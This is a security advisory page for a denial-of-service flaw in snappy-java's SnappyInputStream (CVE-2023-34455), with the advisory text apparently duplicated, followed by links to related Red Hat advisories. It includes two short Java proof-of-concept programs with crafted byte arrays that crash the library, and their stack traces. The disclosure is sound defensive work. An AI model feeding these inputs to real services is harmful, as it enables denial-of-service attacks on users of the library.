Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-qcwq-55hx-v3vh: snappy-java's unchecked chunk length leads to DoS

Summary

Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.

Impact

Denial of Service

Description

The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

        int readBytes = readNext(header, 0, 4);
        if (readBytes < 4) {
            return false;
        }

        int chunkSize = SnappyOutputStream.readInt(header, 0);
        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
            .........
        }

        // extend the compressed data buffer size
        if (compressed == null || chunkSize > compressed.length) {
            compressed = new byte[chunkSize];
        }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        try {
            in.read(out);
        }
        catch (Exception ignored) {

        }
    }
}

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
    at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
    at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
    at java.base/java.io.InputStream.read(InputStream.java:217)
    at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        in.read(out);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1
    at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
    at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
    at java.base/java.io.InputStream.read(InputStream.java:217)
    at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.

ghsa
#dos#apache#git#java

Summary

Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.

Impact

Denial of Service

Description

The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

    int readBytes = readNext(header, 0, 4);
    if (readBytes < 4) {
        return false;
    }

    int chunkSize = SnappyOutputStream.readInt(header, 0);
    if (chunkSize == SnappyCodec.MAGIC\_HEADER\_HEAD) {
        .........
    }

    // extend the compressed data buffer size
    if (compressed == null || chunkSize > compressed.length) {
        compressed = new byte\[chunkSize\];
    }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce

Compile and run the following code:

package org.example; import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

public static void main(String\[\] args) throws IOException {
    byte\[\] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
    SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
    byte\[\] out = new byte\[50\];
    try {
        in.read(out);
    }
    catch (Exception ignored) {

    }
}

}

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
    at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
    at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
    at java.base/java.io.InputStream.read(InputStream.java:217)
    at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

package org.example; import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

public static void main(String\[\] args) throws IOException {
    byte\[\] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
    SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
    byte\[\] out = new byte\[50\];
    in.read(out);
}

}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1
    at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
    at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
    at java.base/java.io.InputStream.read(InputStream.java:217)
    at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.

References

  • GHSA-qcwq-55hx-v3vh
  • xerial/snappy-java@3bf6785
  • https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388
  • https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java

Related news

Red Hat Security Advisory 2024-6536-03

Red Hat Security Advisory 2024-6536-03 - Red Hat AMQ Streams 2.5.2 is now available from the Red Hat Customer Portal. Issues addressed include bypass, denial of service, information leakage, and memory leak vulnerabilities.

Red Hat Security Advisory 2023-7705-03

Red Hat Security Advisory 2023-7705-03 - Red Hat Build of Apache Camel for Quarkus 2.13.3 release and security update is now available. The purpose of this text-only errata is to inform you about the security issues fixed. Issues addressed include a denial of service vulnerability.

Red Hat Security Advisory 2023-7653-03

Red Hat Security Advisory 2023-7653-03 - An update to the images for Red Hat Integration - Service Registry is now available from the Red Hat Container Catalog. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Issues addressed include bypass and denial of service vulnerabilities.

CVE-2023-30994: Security Bulletin: IBM QRadar SIEM includes components with known vulnerabilities

IBM QRadar SIEM 7.5.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 254138

CVE-2023-43642: Missing upper bound check on chunk length in snappy-java can lead to Denial of Service (DoS) impact

snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. The SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. All versions of snappy-java including the latest released version 1.1.10.3 are vulnerable to this issue. A fix has been introduced in commit `9f8c3cf74` which will be included in the 1.1.10.4 release. Users are advised to upgrade. Users unable to upgrade should only accept compressed data from trusted sources.

Red Hat Security Advisory 2023-5165-01

Red Hat Security Advisory 2023-5165-01 - Red Hat AMQ Streams, based on the Apache Kafka project, offers a distributed backbone that allows microservices and other applications to share data with extremely high throughput and extremely low latency. Issues addressed include code execution, denial of service, deserialization, and integer overflow vulnerabilities.

Red Hat Security Advisory 2023-5148-01

Red Hat Security Advisory 2023-5148-01 - Red Hat Integration Camel for Spring Boot 3.20.2 is now available. The purpose of this text-only errata is to inform you about the security issues fixed. Issues addressed include bypass and denial of service vulnerabilities.

Red Hat Security Advisory 2023-5147-01

Red Hat Security Advisory 2023-5147-01 - A security update for Camel for Spring Boot 3.18.3.2 is now available. Issues addressed include bypass and denial of service vulnerabilities.

RHSA-2023:5165: Red Hat Security Advisory: Red Hat AMQ Streams 2.5.0 release and security update

Red Hat AMQ Streams 2.5.0 is now available from the Red Hat Customer Portal. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-37136: A flaw was found in Netty's netty-codec due to size restrictions for decompressed data in the Bzip2Decoder. By sending a specially-crafted input, a remote attacker could cause a denial of service. * CVE-2021-37137: A flaw was found in the Netty's netty-codec due to unrestricted chunk lengths in the SnappyFrameDecoder. By sending a speciall...

RHSA-2023:5148: Red Hat Security Advisory: Red Hat Integration Camel for Spring Boot 3.20.2 release and security update

Red Hat Integration Camel for Spring Boot 3.20.2 release and security update is now available. Red Hat Product Security has rated this update as having an impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-20873: A flaw was found in Spring Boot. This targets specifically 'spring-boot-actuator-autoconfigure' package. This issue occurs when an application is deployed to Cloud Foundry, which could be susceptible to a security bypass. Specifically, an application is vulnerable when all of the following are true: * You have code that can handl...

RHSA-2023:5147: Red Hat Security Advisory: Red Hat Integration Camel for Spring Boot 3.18.3.2 release and security update

Red Hat Integration Camel for Spring Boot 3.18.3.2 release and security update is now available. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having an impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46877: A flaw was found in Jackson Databind. This issue may allow a malicious user to cause a denial of service (2 GB transient heap usage per read) in uncommon situations involving JsonNode JDK serialization. * CVE-2023-20873: A fla...

CVE-2023-34455: Merge pull request from GHSA-qcwq-55hx-v3vh · xerial/snappy-java@3bf6785

snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1. The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk. In the case that the `compressed` variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the `chunkSize` variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a `java.lang.NegativeArraySizeException` exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal `java.lang.OutOfMemoryError` error. Versi...